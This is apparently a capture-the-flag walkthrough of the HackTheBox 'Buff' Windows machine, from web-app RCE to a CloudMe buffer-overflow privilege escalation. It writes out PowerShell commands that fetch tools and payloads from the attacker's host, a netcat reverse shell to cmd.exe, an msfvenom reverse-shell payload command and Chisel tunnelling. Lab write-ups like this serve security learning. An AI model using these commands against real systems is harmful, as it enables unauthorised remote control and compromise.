HTB: Buff (Walkthrough)
Today, I will be sharing my experience with HackTheBox’s “Buff”, which is an “easy” rated Windows OS box. Because I’m still a novice, I found the box challenging but fun.
[Note: The box’s IP may change since I respawned the machine a few times]
ACCESS
First, I scanned the box to see which ports are open. Nmap revealed two ports — 7680 (which nmap could not confidently find a service for) and 8080 (an Apache webserver).
Landing Page (p8080)
Since I was unsure where to go with p7680, I tackled p8080 first.
Nikto and Gobuster
Once I noticed the page was a webserver, I immediately launched a Nikto scan, ran Gobuster, and started fuzzing for subdomains. Nikto is a tool that enumerates web servers, detecting the PHP version; hidden directories; alerting on potential exploit vectors, and more. It’s a great free tool that I use often. Gobuster is a directory brute-forcing application that sends a multitude of requests to web servers to identify pages (hidden and otherwise) that exist.
However, all three of these actions provided unnecessary information, since I found the access exploit vector by enumerating the website manually.
Vulnerable Software on Webserver
The server’s “/contact.php” page displays the software that is running on the webserver — “Gym Management Software 1.0”.
Whenever I see anything that relates to application versions, I either check the versions with Searchsploit or Google search them. In this case, Searchsploit returned a few results.
The main exploit that stood out to me was for unauthenticated remote code execution. This is always my “go to”, as if I can run code on the system, I can spawn a reverse shell and get access. The SQLi one could have worked as well, but it would have been the “long way”, in my opinion.
To copy the exploit into my current working directory, I used the following command: searchsploit -m php/webapps/48506.py
Running the Exploit
Because I’m running the newest Kali OS, when I type “python” it defaults to python 3.10.5. The exploit did not run due to syntax issues between the two versions, so be sure to run it with python 2.7.
Reverse Shell
The shell I got dropped into here was very limited. I could not copy over other files with either “certutil” or “copy” (via Impacket’s SMB server scripts running on my Kali), however PowerShell (with “Invoke-WebRequest”) worked. I was able to move over an msfvenom reverse shell application that I had generated. The full command was:
powershell Invoke-WebRequest -Uri “http://10.10.16.9:8080/shell-x64_p445.exe" -OutFile “C:\xampp\htdocs\gym\upload\shell-x64_p445.exe”
But I couldn’t get the executable to run at all!
After all this struggling, I did learn one key thing though — PowerShell works just fine on the box, and could probably help me out. This being said, PowerShell reverse shell one-liners worked to no avail, but netcat worked perfectly!
First, I moved the netcat.exe (Windows version of netcat) executable to the target using PowerShell, and then ran it on target.
powershell Invoke-WebRequest -Uri “http://10.10.16.9:8080/nc.exe" -OutFile “C:\xampp\htdocs\gym\upload\nc.exe”
nc.exe -e cmd.exe 10.10.16.9 80
PRIVILEGE ESCALATION
Attack Vector
There are some simple checks that I do on Windows machines before running automated enumeration applications like WinPeas — user privileges; unusual files and folders within the file system; unusual ports open (particularly those my initial nmap scan did not pick up); and services running that should not be by default.
For services, one application stood out — “CloudMe.exe”, which provides a cloud server for file hosting, and is definitely not a default application that should be running on Windows.
I tried to see if this program was opening up any ports on the box, but it was nearly impossible to take its PID (from the “tasklist” command) and correlate it with ports open (from the “netstat” command) because CloudMe appeared to be resetting its instance every second or two.
Nonetheless, doing some OSINT quickly revealed that the application runs on p8888.
This port is also open on the target machine.
A little more digging for the location of “CloudMe” revealed a potential version number, which is important for looking up any exploits. The file, “CloudMe_1112.exe” was found in Shaun’s “downloads” folder. This could equate to CloudMe 11.12.
When running the application through Searchsploit, I got a few hits on version 1.11.2. So, I was wrong in my assumption that the version was 11.12, but that was no biggie. Moving on.
Chisel & 48389.py
Now, the Windows target does not have Python on it, so I’m going to have to run this Python exploit on my Kali machine and forward the necessary ports to hit the target’s port. I will use a tool called “Chisel” to accomplish this. Normally I’d use SSH port forwards for this, but SSH wasn’t on the target(nor do I have creds), while Chisel is not dependent on SSH to operate.
So, what I’ll do is hit my localhost (Kali machine) on port 1234, and forward that request to the target’s p8888 (the port that CloudMe.exe runs on).
But before I set up the Chisel, I’m going to modify the exploit (48389.py) appropriately.
First, I changed the target IP to my localhost:
Second, I modified the port I’m hitting to p1234:
Third, and most difficult was setting up the reverse shell code using msfvenom. Msfvenom is a magnificent program that generates exploits for us. The example syntax in the exploit opens up the “calculator” app on target, which certainly isn’t what I want. Instead, I want a reverse shell.
I used the following syntax to do this. Note that I changed the variable that it outputs the shell code as to “payload”, instead of the default “buf”. I did this because the exploit script has the variable named “payload” already, and I didn’t want to go through the script and change the variable’s name to “buf” — that’s unnecessary work.
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.16.8 LPORT=445 -b ‘\x00\x0A\x0D’ -f python -v payload
A quick caveat: I had a difficult time getting the exploit to work because I thought the system’s architecture was x64, however, it’s actually x86. I thought x64 because that was the output in the “systeminfo” command, but it led to my exploit failing. So, I did some more digging with the “set processor” command, and discovered the machine is x86! Truthfully, I don’t fully understand this discrepancy yet.
Moving back to the exploit, I copied my “payload” code from msfvenom into the appropriate section within the script. And now it’s time for Chisel.
Chisel (again)
Chisel requires two parts: 1.) The Kali machine acting as server, and 2.) The Windows target acting as a client that opens up ports back to the server.
First, I copied the appropriate Chisel version (one for Windows) to the target:
powershell Invoke-WebRequest -Uri “http://10.10.16.8:8080/chisel_1.7.3_windows_amd64" -OutFile “chisel_1.7.3_windows_amd64”
To get Chisel to work properly, I relied heavily on the developer’s documentation. It was crucial that I match up the appropriate local and remote interfaces and ports, and had them in order. Again, I want to send all traffic from my Kali’s localhost on p1234 to the target’s IP on p8888
On my Kali, I created my server instance for Chisel: chisel server -p 9000 — reverse
And on the target, I executed a command that runs Chisel and connects it to the server listening on p9000 of my machine. From there, it allows for all requests on my Kali’s p1234 to reach the target’s p8888.
chisel_1.7.3_windows_amd64 client 10.10.16.8:9000 R:0.0.0.0:1234:0.0.0.0:8888
Running the Exploit
Nearly done! The last step is to run the exploit.
I set up my netcat reverse shell to catch the callback ran from 48389.py.
And then I ran the exploit.
I successfully caught the callback, and am now the administrator!
Box done.
